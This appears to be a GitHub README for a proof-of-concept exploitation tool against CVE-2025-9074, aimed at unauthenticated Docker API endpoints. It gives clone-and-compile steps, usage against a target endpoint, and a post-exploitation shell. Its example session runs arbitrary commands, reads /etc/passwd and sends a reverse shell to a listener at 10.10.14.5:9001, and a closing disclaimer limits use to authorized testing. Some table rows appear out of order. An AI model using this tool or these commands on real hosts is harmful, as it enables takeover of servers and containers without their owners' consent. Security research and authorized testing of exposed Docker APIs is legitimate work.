
Docker API CVE-2025-9074 PoC (Proof-Of-Concept). A sophisticated exploitation framework for CVE-2025-9074, targeting unauthenticated Docker API endpoints with an integrated interactive command shell.
A sophisticated exploitation framework for CVE-2025-9074, targeting unauthenticated Docker API endpoints with an integrated interactive command shell.
This tool automates the exploitation of exposed Docker API instances without authentication, allowing full container creation and command execution on the target host. The tool features a custom interactive shell for seamless post-exploitation operations.
Note: This is a custom PoC implementation. I did not discover CVE-2025-9074.

Automated vulnerability detection, image pulling, container creation and initialization

Post-exploitation shell with command execution capabilities
git clone https://github.com/xwpdx0/poc-2025-9074
gcc poc.c -o poc-2025-9074
or you can download the binary from Releases
./poc-2025-9074
Execute against the default target (127.0.0.1:2375):
./poc-2025-9074
Specify a custom Docker API endpoint:

Upon successful exploitation, an interactive shell provides the following commands:
| Command | Description |
|---|---|
cmd <command> | Execute arbitrary commands within the container |
revshell <ip> <port> |
(PoC-CVE-2025-9074)> cmd whoami
(PoC-CVE-2025-9074)> cmd cat /etc/passwd
(PoC-CVE-2025-9074)> cmd ls -la /mnt
(PoC-CVE-2025-9074)> revshell 10.10.14.5 9001
(PoC-CVE-2025-9074)> info
CVE-2025-9074 affects Docker instances with exposed API endpoints lacking proper authentication mechanisms. This misconfiguration allows unauthorized access to the Docker daemon, enabling:
This tool is provided for educational and authorized security testing purposes only.
xwpd (@xwpdx0)
MIT License - See LICENSE file for details
For responsible disclosure and security research purposes only.
| Deploy a reverse shell to specified listener |
info | Display current container and target information |
exit | Terminate the interactive session |